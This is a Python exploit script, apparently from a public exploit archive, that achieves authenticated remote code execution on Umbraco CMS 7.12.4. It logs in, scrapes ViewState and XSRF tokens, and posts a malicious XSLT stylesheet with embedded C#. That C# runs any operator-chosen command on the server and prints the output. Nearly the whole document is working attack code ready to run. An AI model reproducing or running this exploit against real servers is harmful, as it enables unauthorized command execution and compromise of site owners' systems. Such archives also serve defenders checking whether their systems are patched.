68 lines
No EOL
3.1 KiB
Python
Executable file
68 lines
No EOL
3.1 KiB
Python
Executable file
# Exploit Title: Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated)
|
|
# Date: 2020-03-28
|
|
# Exploit Author: Alexandre ZANNI (noraj)
|
|
# Based on: https://www.exploit-db.com/exploits/46153
|
|
# Vendor Homepage: http://www.umbraco.com/
|
|
# Software Link: https://our.umbraco.com/download/releases
|
|
# Version: 7.12.4
|
|
# Category: Webapps
|
|
# Tested on: Windows IIS
|
|
# Example: python exploit.py -u admin@example.org -p password123 -i 'http://10.0.0.1' -c ipconfig
|
|
|
|
import requests
|
|
import re
|
|
import argparse
|
|
|
|
from bs4 import BeautifulSoup
|
|
|
|
parser = argparse.ArgumentParser(prog='exploit.py',
|
|
description='Umbraco authenticated RCE',
|
|
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80))
|
|
parser.add_argument('-u', '--user', metavar='USER', type=str,
|
|
required=True, dest='user', help='username / email')
|
|
parser.add_argument('-p', '--password', metavar='PASS', type=str,
|
|
required=True, dest='password', help='password')
|
|
parser.add_argument('-i', '--host', metavar='URL', type=str, required=True,
|
|
dest='url', help='root URL')
|
|
parser.add_argument('-c', '--command', metavar='CMD', type=str, required=True,
|
|
dest='command', help='command')
|
|
parser.add_argument('-a', '--arguments', metavar='ARGS', type=str, required=False,
|
|
dest='arguments', help='arguments', default='')
|
|
args = parser.parse_args()
|
|
|
|
# Payload
|
|
payload = """\
|
|
<?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace"><msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "%s"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "%s"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet>\
|
|
""" % (args.arguments, args.command)
|
|
|
|
login = args.user
|
|
password = args.password
|
|
host = args.url
|
|
|
|
# Process Login
|
|
url_login = host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
|
|
loginfo = { "username": login, "password": password}
|
|
s = requests.session()
|
|
r2 = s.post(url_login,json=loginfo)
|
|
|
|
# Go to vulnerable web page
|
|
url_xslt = host + "/umbraco/developer/Xslt/xsltVisualize.aspx"
|
|
r3 = s.get(url_xslt)
|
|
|
|
soup = BeautifulSoup(r3.text, 'html.parser')
|
|
VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
|
|
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']
|
|
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']
|
|
headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN}
|
|
data = { "__EVENTTARGET": "", "__EVENTARGUMENT": "", "__VIEWSTATE": VIEWSTATE,
|
|
"__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR,
|
|
"ctl00$body$xsltSelection": payload,
|
|
"ctl00$body$contentPicker$ContentIdValue": "",
|
|
"ctl00$body$visualizeDo": "Visualize+XSLT" }
|
|
|
|
# Launch the attack
|
|
r4 = s.post(url_xslt, data=data, headers=headers)
|
|
# Filter output
|
|
soup = BeautifulSoup(r4.text, 'html.parser')
|
|
CMDOUTPUT = soup.find(id="result").getText()
|
|
print(CMDOUTPUT) |